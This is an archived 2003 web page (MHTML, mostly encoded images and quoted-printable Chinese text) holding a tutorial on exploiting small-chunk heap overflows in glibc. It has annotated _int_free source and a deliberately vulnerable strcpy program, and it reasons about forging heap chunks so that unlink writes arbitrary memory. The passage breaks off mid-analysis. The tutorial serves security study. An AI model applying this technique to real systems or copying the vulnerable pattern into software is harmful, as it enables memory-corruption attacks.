lMbSs8sVNoE8tHKz58YKD4IO4MQHBlZv5U857bvnnG4TEEG1l1X/zC12AHV4wnNBCMZcB61MJuBP g8XPTD34KhfhMuR3fkN7ridBthfDnGVduVNBS6TPgK7XFdc23HujkMf5VAiAVKgdXsB5NQuAla95 O5iIk695TWC7atCEnVcF5LqG9n/59wcIPKkCCMJj8OBBXwECXPODEOHCiBInUhxg8eJFARo3bmxR hESAGEVigNBYgQcJJAJMpOwQIEiFBUyYFCkigEcQHjE2guQYQyXHoEKHagQZoAjMoQGILliwkYlT jgFI8FxK9OpQo0grKBVa4SWPIUh4BEASUmOTICBJmKjQ4SfWuAJ6xhiiseTGBTYFWNVYpMkQtjya cB1iV8DIqSBG/6YEKvdqhSIBAOMNGmPn0JhNmjChyhEJiZ9NYkx1/JjoZZ4bY/LQiARp0AVAkZjg WMGEXrhz+542OQRwER4gQBdhUlvA5cspe2o00QQEjwUmkHSYiXeq6w6uPffW2IIJkiE4L7fAyXW5 yqXYN6aVyl1AC9MCQHfPunBrV6U8pmP+OJd0EdMFIQAIL2E1QQEJKrgggw0uSBGEFD300EABoBJA KhMeZEcAqvhSkIZ4cJhKKg6FeE01mlRTTYh4VBKAHbiwgkqLHApEUIvXXOOLMoCEGCGQEWE05FAd IIFEDC0sRQIPTLgGWhMkSJlWDCY4VwEITYR32WtRgZTcT/LVJ/9ABTHoJEAQTfCgXQdSSjmVlLAJ MERZSMawgIEbBbBAcniOGVSZZ6a5pgBtugknCbCBNJpyAfyGWUjMvXXkn32GdKRIARxn5nUcdcDV XMJdxkML8E2lKZk1gTDgn0UhwQQIHeB5mJskNCWlR1xVkOYQFcQ02UehRVnEECXdKeZjuPXJZ120 EQiVdhqRdhh8TICKJEfgUUUCo36O2UER2hXRQgxRRkZCBbY2tcB3SkI1n0yhyUYmE5hFN2oLQZD2 Xm/+JYftEDCR0G5np87EVVMaybqvT47pi1KrZJq506Bs1oqonAXu9JqUTNjVlHbiFREeE61dFcEG Dqq8cpBAtnj/4zULZRiiINUsdEqNEbUoSAC9iBiAjxpqEgAvLr5sIy84hniKzQHg8mPLEQ6JkVCy lpRlVMN5OvKRC1TGEQn6JgfqYmDz210LerUAKpleE6hWrW7itWpQ/m1E3UYdsPpn2uOyHdPVcMdN Al5BqBREECAsAO5xHbTZRN7tjfl1kUisvZHJQU0X7RBRdVCSWEdi26qsxL5nwmEtDO7mrgsktZpa 3lk7RONI7B3xUNOdHcRhQ8TAtu1E6a1wqbg3h7dJq9faQbFcgcuq43fVWtgCbEds5HFFKS9lBYYF 5T1H+nKUK99q/+32qspXhldoyWVflNuFRnXVBSvbz2DUEL48lNDQGLboSy+GZoecvQwPfghAimzW IkDA6EKqyBkqWKG0CVXCDqpQRjtmNqH8QWhqGTEeCEMowhGSsIQmPCEKU6jCFbKwhS58IQxFiKD7 0ZCDE9lfAPCgkKKFqEJOI2AB+xcATbysFwu5RtA0ZIqI+OJlyjhiEh9iw4l40CIxvCIWs6jFLXKx i178IhjDyEIJ0JCGAQEAOw== ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_02.gif R0lGODlhCwANAMQAADpue6O7wThsecXV2MPT1vr7+/z9/UV2gihhbiVfbe/z9C1lct3m6LbJzm+V noamrufu72KLlSpjcP///yBbaQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAA AAAALAAAAAALAA0AAAUr4CSOZGmeKGk0EVUWgUDNJHPM+EhIeD4NiV5OsRDmHkYcBJGcOZozAJQS AgA7 ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_03.gif R0lGODlh/gINALMAACZgbebs7ufu7yJcak59iFOAi6/EyWmQmvX3+KC5vyBbaf///wAAAAAAAAAA AAAAACH5BAAAAAAALAAAAAD+Ag0AAATAcMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv /8CgcEgsGo/IpHLJbDqf0Kh0SlJYr9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/ gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXagOYm5ydnp+goaKjewAECVSpqqusra6vsLE1AAcBsre4 ubq7vL2+KQUCv8PExcbHyMk4BsrNzs/Q0dK3ttPW19jZ2tstCNzf4OHi480RADs= ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/doc_title.gif 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 cpd7i8Si04iBAAA7 ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: application/octet-stream Content-Transfer-Encoding: 7bit Content-Location: http://www.nsfocus.net/count.php?style=3 ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: text/css; charset="gb2312" Content-Transfer-Encoding: 7bit Content-Location: http://www.nsfocus.net/css/stylesheet_new.css TD { FONT-SIZE: 9pt; COLOR: #254949; LINE-HEIGHT: 12pt } INPUT { FONT-SIZE: 9pt } SELECT { FONT-SIZE: 9pt } TEXTAREA { FONT-SIZE: 9pt } A:link { COLOR: #254949 } A:visited { COLOR: #77979f } A:active { COLOR: #77979f } A:hover { TEXT-DECORATION: underline } .mainbg { BACKGROUND-COLOR: #ffffff } .comment { BACKGROUND-COLOR: #ebf0f2 } .red { FONT-SIZE: smaller; COLOR: #ff9900 } .row { FONT-SIZE: smaller; COLOR: #6f9324 } .grey { FONT-SIZE: smaller; COLOR: #77979f } .advisory_num { FONT-WEIGHT: bold; FONT-SIZE: 12pt } .title { FONT-WEIGHT: bold; FONT-SIZE: 10pt } .copyright { FONT-SIZE: 8.5pt; LINE-HEIGHT: 12px; FONT-FAMILY: Verdana, Tahoma, Arial } ------=_NextPart_000_0000_01C5949F.6B50B750 Content-Type: multipart/alternative; boundary="----=_NextPart_001_000D_01C5949F.6B56D1D0" ------=_NextPart_001_000D_01C5949F.6B56D1D0 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.nsfocus.net/index.php?act=sec_doc&do=view&doc_id=867 =C2=CC=C3=CB=BF=C6=BC=BC--www.nsfocus.com--=B0=B2=C8=AB= =BC=BC=CA=F5
3DTitle=20
3DLeft 3DRight
 
=20
=D2=BB=D6=D6=D0=A1=B6=D1(heap)=D2=E7=B3=F6=B5=C4=C1=ED=C0= =E0=C0=FB=D3=C3=B7=BD=B7=A8
=B7=A2=B2=BC=C8=D5=C6=DA=A3=BA= 2003-09-02
=CE=C4=D5=AA=C4=DA=C8=DD=A3=BA
=CE=C4=D5=AA=B3=F6=B4=A6=A3=BAhttp://www.cnhonker.com/index.php?module=3Darticles&a= ct=3Dview&type=3D6&id=3D76

=CC=E1=BD=BB=CE=C4=D5=C2=A3= =BA=20 bkbll

=CC=E1=BD=BB=C8=D5=C6=DA=A3=BA 2003-09-01 =

=CE=C4=D5=C2=CA=F4=D0=D4=A3=BA = =D4=AD=B4=B4

=CE=C4=B5=B5=C0=E0=B1=F0=A3=BA = =B1=E0=B3=CC=BC=BC=CA=F5=20

=E4=AF=C0=C0=B4=CE=CA=FD=A3=BA=20 = =BD=F116=B4=CE/=D7=DC99=B4=CE




=D2=BB=D6=D6=D0=A1=B6=D1= (heap)=D2=E7=B3=F6=B5=C4=C1=ED=C0=E0=C0=FB=D3=C3=B7=BD=B7=A8
bkbll(bkb= ll@cnhonker.net)
2003-9-1
[1].=20 = =CA=B2=C3=B4=CA=C7=B6=D1=D2=E7=B3=F6
    =B6=D1=D2= =E7=B3=F6(heap overflow) =C0=E0=CB=C6stack=20 overflow, =B7=A2=C9=FA=D4=DABSS=C7=F8. =B9=D8=D3=DAheap = overflow=B5=C4=CE=C4=D5=C2=CD=E2=C3=E6=D3=D0=BA=DC=B6=E0, = =C8=EB=C3=C5=BC=B6=B1=F0=B5=C4w00w00=B5=C4<w00w00=20 on Heap Overflows>, = =D5=E2=C6=AA=CE=C4=D5=C2=B5=C4=D6=D0=CE=C4=B0=E6=CA=C7=D3=C9warning3 = =D7=AB=D0=B4, =CE=C4=D5=C2=B5=D8=D6=B7=CA=C7: http://www.w00w00.org/files/articles/heaptut-chinese.txt<= /A>,=20 =D3=A2=CE=C4=D4=AD=B0=E6=CA=C7: http://www.w00w00.org/files/articles/heaptut.txt,=20 =C6=E4=D6=D0=BB=B9=D3=D0warning3=D0=B4=B5=C4: = <=D2=BB=D6=D6=D0=C2=B5=C4heap=C7=F8=D2=E7=B3=F6=BC=BC=CA=F5=B7=D6=CE=F6= >, =CE=C4=D5=C2=D4=DA:
http://www.nsfocus.net/index.php?act=3Dsec_self&;do=3D= view&doc_id=3D529&keyword=3Dheap
=B1=BE=C6=AA=BC=D9=C9=E8=C4= =E3=C0=ED=BD=E2=C1=CB=D5=E2=C1=BD=C6=AA=CE=C4=D5=C2=B5=C4=D2=E2=D2=E5.[2].=20 = =B1=BE=C6=AA=D2=C0=C0=B5=B5=C4=CF=B5=CD=B3
=B1=BE=C6=AA=CB=F9=D3=D0=B3= =CC=D0=F2=B6=BC=D4=DARh linux 8.0 default install = =C6=BD=CC=A8=C9=CF=B5=F7=CA=D4=CD=A8=B9=FD. = =B9=D8=D3=DA=D0=A1=B6=D1=B5=C4=C0=FB=D3=C3,=20 = =D4=DAglibc>=3D2.2.5=B5=C4=B0=E6=B1=BE=C9=CF=B2=C5=D3=D0=D2=E2=D2=E5, = =D4=DAglibc 2.2.4(rh 7.2)=C9=CF, = =C0=FB=D3=C3warning3=B5=C4=B7=BD=B7=A8=BE=CD=CD=EA=C8=AB=BF=C9=D0=D0,=20 = =CB=F9=D2=D4=B1=BE=CE=C4=BC=D9=C9=E8=C4=E3=CA=B9=D3=C3=B5=C4=C6=BD=CC=A8g= libc>=3D2.2.5. rh linux = 8.0=C9=CF=B5=C4=B0=E6=B1=BE=CA=C7glibc-2.2.93-5=20 .
[3].=20 = =BA=CDglibc<=3D2.2.5=B5=C4=C7=F8=B1=F0
    =CE=D2= =C3=C7=BF=C9=D2=D4=BF=B4=BF=B4malloc=B5=C4=D4=B4=B4=FA=C2=EB.=20 = =B5=CD=B0=E6=B1=BE=B5=C4=B7=D6=CE=F6=BF=C9=D2=D4=B2=CE=BF=B4warning3=B5=C4= =CE=C4=D5=C2, = =B8=DF=B0=E6=B1=BE=B5=C4=D4=B4=B4=FA=C2=EB=B7=D6=CE=F6=C8=E7=CF=C2(int_fr= ee=BA=AF=CA=FD,=D2=F2=CE=AA=BA=AF=CA=FD=B1=C8=BD=CF=B3=A4,=20 =B7=D6=BD=E2=D2=BB=CF=C2):
void _int_free(mstate av, = Void_t* mem)
{
if (mem !=3D=20 0) { //=C8=E7=B9=FBmem!=3DNULL
p =3D = mem2chunk(mem);
size =3D=20 chunksize(p);
check_inuse_chunk(av, p);
if ((unsigned = long)(size) <=3D (unsigned long)(av->max_fast)=20 = //=D5=E2=C0=EF,=C8=E7=B9=FB=CA=C7=D0=A1=B6=D1<64bytes
#if = TRIM_FASTBINS
&&=20 (chunk_at_offset(p, size) !=3D av->top)=20 = //=B2=A2=C7=D2=D5=E2=B8=F6=BF=E9=B5=C4=CF=C2=D2=BB=BF=E9=B2=BB=CA=C7top=BF= =E9
#endif
) {
set_fastchunks(av);
fb =3D=20 &(av->fastbins[fastbin_index(size)]);
p->fd =3D = *fb;
*fb =3D p;
}
else if (!chunk_is_mmapped(p))=20 = //=C8=E7=B9=FB=D5=E2=B8=F6=BF=E9=C3=BB=D3=D0mmap=CE=BB
{
nextchunk = =3D chunk_at_offset(p,=20 size);
nextsize =3D = chunksize(nextchunk);
assert(nextsize >=20 0);
/* consolidate backward */
if (!prev_inuse(p))=20 = //=C8=E7=B9=FB=B5=B1=C7=B0=BF=E9=B5=C4size=B2=BF=B7=D6=B1=EA=D6=BE=D7=C5=C7= =B0=D2=BB=BF=E9=CE=B4=CA=B9=D3=C3
{
prevsize =3D = p->prev_size;
size=20 +=3D prevsize;
p =3D chunk_at_offset(p, -((long) = prevsize));=20
unlink(p, bck, fwd); = //=BA=CD=C7=B0=D2=BB=BF=E9=BA=CF=B2=A2
}
if (nextchunk !=3D=20 av->top)
{
     /* get and = clear inuse=20 bit */
     nextinuse =3D=20 inuse_bit_at_offset(nextchunk,=20 nextsize);
     //#define=20 clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + = (s)))->size &=3D = ~(PREV_INUSE))
     /*=20 consolidate forward */
     if = (!nextinuse)=20 = //=C8=E7=B9=FB=CF=C2=D2=BB=B8=F6=BF=E9=C3=BB=D3=D0=CA=B9=D3=C3, = =D4=F2=BA=CF=B2=A2=D5=E2=B8=F6=BF=E9
    =20 {
     unlink(nextchunk, bck,=20 fwd);
     size +=3D=20 nextsize;
     }=20 =
=A1=AD=A1=AD=A1=AD=A1=AD    
}
else=20 = //=C8=E7=B9=FB=D5=E2=B8=F6=BF=E9=BA=F3=C3=E6=BD=F4=B0=A4=D7=C5top=BF=E9{
=A1=AD=A1=AD=A1=AD
}
/* =D7=A2=D2=E2=D5=E2=C0=EF, = =C8=E7=B9=FB=BA=CF=B2=A2=BA=F3=B5=C4=B4=F3=D0=A1>0xffff=B5=C4=BB=B0)=20 */
if ((unsigned long)(size) >=3D=20 FASTBIN_CONSOLIDATION_THRESHOLD)
{
if=20 = (have_fastchunks(av))
malloc_consolidate(av);
=A1=AD=A1=AD.
}}
else=20 {=20 = //=C8=E7=B9=FB=CA=C7mmap=B5=C4
=A1=AD=A1=AD=A1=AD=A1=AD.
 &nbs= p;  }
}
}
=D7=DC=BD=E1=D2=BB=CF=C2,=20 = =B2=BB=CD=AC=B5=C4=B5=D8=B7=BD=D3=D0:
1.    =B5=B1= free=B5=C4=B6=D1=B4=F3=D0=A1<64=D7=D6=BD=DA=B5=C4=CA=B1=BA=F2,=20 = =BB=E1=C0=FB=D3=C3=D2=BB=D6=D6=BF=EC=CB=D9=B4=A6=C0=ED=B7=BD=B7=A8=C0=B4=B4= =A6=C0=ED. =
2.    =B5=B1=BA=CF=B2=A2=BA=F3=B5=C4size = =B4=F3=D3=DA0xffff=B5=C4=CA=B1=BA=F2,=20 =BB=B9=D3=D0=C1=ED=CD=E2=D2=BB=B8=F6=B9=FD=B3=CC , = =D5=E2=B8=F6=B9=FD=B3=CC=C8=E7=B9=FB=C4=E3=D3=C3=CE=B1=D4=EC=B5=C4chunk=C8= =A5=B4=A6=C0=ED=B5=C4=BB=B0, =BA=DC=C4=D1=B1=A3=D6=A4=B2=BB=B3=F6=B4=ED, = = =CB=F9=D2=D4=BA=CF=B2=A2=BA=F3=B5=C4size=D2=AA=D0=A1=D3=DA0xffff.
3.&n= bsp;   =BF=E9=B5=C4=B4=F3=D0=A1=B1=D8=D0=EB=D2=AA=CA=C78=B5= =C4=B1=B6=CA=FD.
1=BA=CD2=20 =B5=C4=B1=C8=BD=CF=B9=FD=B3=CC=B6=BC=CA=C7=D3=C3(unsigned = long)=C0=E0=D0=CD=B1=C8=BD=CF, =CB=F9=D2=D4=D4=DA=D5=E2=C0=EF, = =B8=BA=CA=FD=BF=C9=D2=D4=CC=D3=B1=DC1=B5=C4=B9=E6=D4=F2=CF=DE=D6=C6, = =B6=F82=C0=EF=C3=E6=BE=CD=B2=BB=D0=D0=C1=CB,=20 =C8=E7=B9=FBsize=CA=C7=D2=BB=B8=F6=B8=BA=CA=FD, = =BB=E1=C5=D0=B6=CF=CA=A7=B0=DC, = =D5=E2=D1=F9=BB=E1=CC=F8=D7=AA=B5=BD=D2=BB=B8=F6=B8=B4=D4=D3=B5=C4=BC=C6=CB= =E3=B9=FD=B3=CC, = =CB=F9=D2=D4=D4=DA=D5=E2=C0=EFsize=D2=BB=B6=A8=B2=BB=C4=DC=CA=C7=B8=BA=CA= =FD.
[4].=20 =D2=BB=B8=F6=D3=D0=C2=A9=B6=B4=B5=C4=B3=CC=D0=F2:
/* just = for fun */
#include=20 <stdio.h>
#include <stdlib.h>
#include=20 <unistd.h>

main(int argc,char=20 **argv)
{
    char=20 *p1;
    char=20 = *p2;
    
    if(argc<2)= =20 =
    {
      &nbs= p; printf("Usage:%s=20 = <string>\n",argv[0]);
       =  exit(0);    
    }
&n= bsp;   if(strlen(argv[1])>40-1)
   &n= bsp;{
        printf("ERROR:to= o=20 = long\n");
        exit(0);
=     }
    p1=3D(char=20 *)malloc(20);
    p2=3D(char=20 = *)malloc(40);
    memset(p1,0,20);
  =   memset(p2,0,40);
    strcpy(p2,argv[1]= );
    strcpy(p1,p2);
    p= rintf("[+]=20 = input:%s\n",p1);
    memset(p2,0,40);
 &nb= sp;  free(p1);
    free(p2);
 &n= bsp;  exit(0);
}
[5].=20 = =C0=FB=D3=C3=B7=BD=B7=A8=CB=BC=BF=BC
    =B3=F5=BF= =B4=C6=F0=C0=B4=BA=CD=D2=D4=C7=B0=B5=C4heap = overflow=C0=FB=D3=C3=B7=BD=B7=A8=D2=BB=D1=F9,=20 = =CE=B1=D4=ECchunk2=BA=CDchunk3=BE=CD=BF=C9=D2=D4=D0=B4=B3=F6exp=B5=C4, = =B5=AB=D2=F2=CE=AA=B5=DA=D2=BB=B8=F6=BF=E9=CA=C7=D0=A1=BF=E9,=20 = =CB=F9=D2=D4=C0=FB=D3=C3=B7=BD=B7=A8=D3=D6=D3=D0=CB=F9=B2=BB=D2=BB=D1=F9.=
    =B4=D3=C4=DA=B4=E6=BD=E1=B9=B9=C0=B4=BF=B4, = =CE=D2=C3=C7=BF=C9=D2=D4=B8=B2=B8=C7=B5=C4=D3=D0:=20 p2=B5=C4prev_size=BA=CDp2=B5=C4size=C1=BD=B8=F6=B5=D8=B7=BD. = =C7=A1=BA=C3=D5=E2=C1=BD=B8=F6=B5=D8=B7=BD=CA=C7=BF=D8=D6=C6p2=B5=C4=C7=B0= =D2=BB=B8=F6=BF=E9=BA=CD=BA=F3=D2=BB=B8=F6=BF=E9=B5=C4=B9=D8=BC=FC=CA=FD=BE= =DD,=20 = =CB=F9=D2=D4=BB=F9=B1=BE=C9=CF=CE=D2=C3=C7=BF=C9=D2=D4=CE=B1=D4=EC=B3=F6=C7= =B0=D2=BB=B8=F6=BF=E9=BA=CD=BA=F3=D2=BB=B8=F6=BF=E9, = =D6=BB=D2=AA=BF=D8=D6=C6=BA=C3inuse=CE=BB,=20 = =CE=D2=C3=C7=BE=CD=BF=C9=D2=D4=C0=FB=D3=C3unlik=B2=D9=D7=F7=D0=B4=C8=CE=D2= =E2=CB=C4=B8=F6=D7=D6=BD=DA=B5=C4=CA=FD=BE=DD=B5=BD=C8=CE=D2=E2=B5=D8=B7=BD= .
    =D5=E2=C0=EF=D0=E8=D2=AA=D7=A2=D2=E2=B5=C4=CA= =C7size=B1=D8=D0=EB=D2=AA=CA=C7=D2=BB=B8=F6=D5=FD=CA=FD,=20 = =B6=F8=C7=D2=D5=E2=B8=F6=CA=FD=D6=B5=B1=D8=D0=EB=D0=A1=D3=EB0xffff. = =D5=E2=C0=EF=CE=D2=C3=C7=D3=D0=C1=BD=D6=D6=D1=A1=D4=F1(=CE=AA=C1=CB=C3=E8= =CA=F6=B7=BD=B1=E3, = =CE=D2=C3=C7=B0=D1p2=C7=B0=D2=BB=B8=F6=BF=E9=B3=C6=D7=F6p1,=BA=F3=C3=E6=B5= =C4=D2=BB=B8=F6=BF=E9=B3=C6=D7=F6p3,=20 = p3=B5=C4=CF=C2=D2=BB=BF=E9=B3=C6=D7=F7p4)
1.    =C0= =FB=D3=C3=CE=B1=D4=EC=B5=C4p1,=BD=F8=D0=D0unlink=B2=D9=D7=F7.=20 = =D6=BB=D0=E8=D2=AA=C8=C3p2=B5=C4prev_inuse=CE=BB=C7=E5=C1=E3
2. &= nbsp;  =C0=FB=D3=C3=CE=B1=D4=ECp3=BD=F8=D0=D0unlink=B2=D9=D7=F7= ,=20 = =D2=F2=CE=AA=BA=F3=C3=E6=D3=D0=C5=D0=B6=CFp3=CA=C7=B7=F1=CA=B9=D3=C3, = =CB=F9=D2=D4=BB=B9=D0=E8=D2=AA=CE=B1=D4=ECp4.
=C8=E7=B9=FB=CA=C7=D2=AA= =C0=FB=D3=C3=CE=B1=D4=ECp3=BD=F8=D0=D0unlink=B2=D9=D7=F7=B5=C4=BB=B0,=20 =D2=F2=CE=AA=D2=AA=BF=BC=C2=C7=B5=BDsize>0,=20 = =D5=E2=C0=EF=D2=AA=BF=BC=C2=C7=C1=BD=D6=D6=C7=E9=BF=F6(=C0=FB=D3=C3strcpy= ,=CB=F9=D2=D4=CA=FD=BE=DD=C0=EF=C3=E6=B2=BB=C4=DC=D3=D00x00):
1. =    p2=B5=C4size>0=20 =D2=F2=CE=AAp2=B1=BE=C9=ED=D4=B5=B9=CA, = =D5=E2=B8=F6=C0=EF=C3=E6=BF=C9=D2=D4=BA=AC=D3=D00x00. = =D5=E2=D1=F9p3=BE=CD=D6=BB=C4=DC=D4=DAp2=BA=F3=C3=E6=C1=CB, = =B5=AB=BF=B4=B3=CC=D0=F2=C0=EF=C3=E6,p2=BA=F3=C3=E6=B5=C4=CA=FD=BE=DD=BB=F9= =B1=BE=C9=CF=C8=AB=CE=AA0 ,=20 = p3=B5=C4fd=BA=CDbk=CA=FD=BE=DD=CE=DE=B7=A8=CC=EE=B3=E4.=CB=F9=D2=D4=B2=BB= =B4=F3=BF=C9=C4=DC.
2.    p2=B5=C4size<0=20 = =D5=E2=D1=F9=D2=AA=C7=F3p3=B5=C4size>0=B6=F8=C7=D20xffff>(p3->si= ze+p2->size)>0.=20 = =B2=A2=C7=D2=CD=A8=B9=FDp3->size=CE=B1=D4=EC=B5=C4p4=D2=AA=C2=FA=D7=E3= =CE=D2=C3=C7=B5=C4=D2=AA=C7=F3,=20 = =D7=EE=D6=D8=D2=AA=B5=C4=CA=C7p3->size=CB=C4=B8=F6=D7=D6=BD=DA=B5=C4=C4= =DA=B4=E6=BF=E9=C0=EF=C3=E6=B2=BB=C4=DC=D3=D00x00.=BA=C3=CF=F1=D4=DA=C4=DA= =B4=E6=D6=D0=BB=B9=D5=D2=B2=BB=B3=F6=D5=E2=D1=F9=B5=C4=D2=BB=B8=F6=CE=BB=D6= =C3=C0=B4=B7=C5=CE=D2=C3=C7=B5=C4p3,=C8=E7=B9=FB=C4=E3=D3=D0=B8=FC=BA=CF=CA= =CA=B5=C4=B0=EC=B7=A8,=20 = =C7=EB=BA=CD=BD=BB=C1=F7.
=B4=D3=C9=CF=C3=E6=B5=C4=B7=D6=CE=F6=BF=C9=D2= =D4=BF=B4=B3=F6, = =C0=FB=D3=C3=CE=B1=D4=EC=B5=C4p3=BF=E9=BD=F8=D0=D0unlink=B2=D9=D7=F7=C4=D1= =B6=C8=CF=B5=CA=FD=CC=AB=B4=F3=C1=CB.=20 = =CE=D2=C3=C7=BF=B4=BF=B4=C0=FB=D3=C3=CE=B1=D4=EC=B5=C4p1=BF=C9=B2=BB=BF=C9= =D0=D0.
=D2=F2=CE=AAp1=B5=C4=B5=D8=D6=B7=CA=C7=D5=E2=D1=F9=BC=C6=CB=E3= =B5=C4:p1 addr=3Dp2 addr =A8C=20 p2->prev_size, = =B6=F8p2=BA=F3=C3=E6=B5=C4=C4=DA=B4=E6=BB=F9=B1=BE=C9=CF=C8=AB=CE=AA0 = ,=CB=F9=D2=D4=D5=E2=C0=EF=B5=C4prev_size=B1=D8=D0=EB=D2=AA=CE=AA=D2=BB=B8= =F6=D5=FD=CA=FD,=20 = =B5=AB=CA=C7=D3=D6=D2=F2=CE=AA=CE=D2=C3=C7=D2=AA=B8=B2=B8=C7=B5=BDp2=B5=C4= size,=CB=F9=D2=D4prev_size=C4=DA=B4=E6=BF=E9=B2=BB=C4=DC=D3=D00x00=CA=FD=BE= =DD,=20 = =D5=E2=C0=EF=B5=C4p2->prev_size=BE=CD=D6=BB=C4=DC=CA=C7=D2=BB=B8=F6=B7= =C7=B3=A3=B4=F3=B5=C4=D5=FD=CA=FD. = =B3=F5=BF=B4=C9=CF=C8=A5=CA=C7=B2=BB=BF=C9=D0=D0=B5=C4, = =B5=AB=C1=AA=CF=EB=B5=BD=CE=D2=C3=C7=B5=C4=B6=D1=D5=BB=CA=FD=BE=DD=CA=C70= xbffff=BF=AA=CD=B7=B5=C4,=20 = 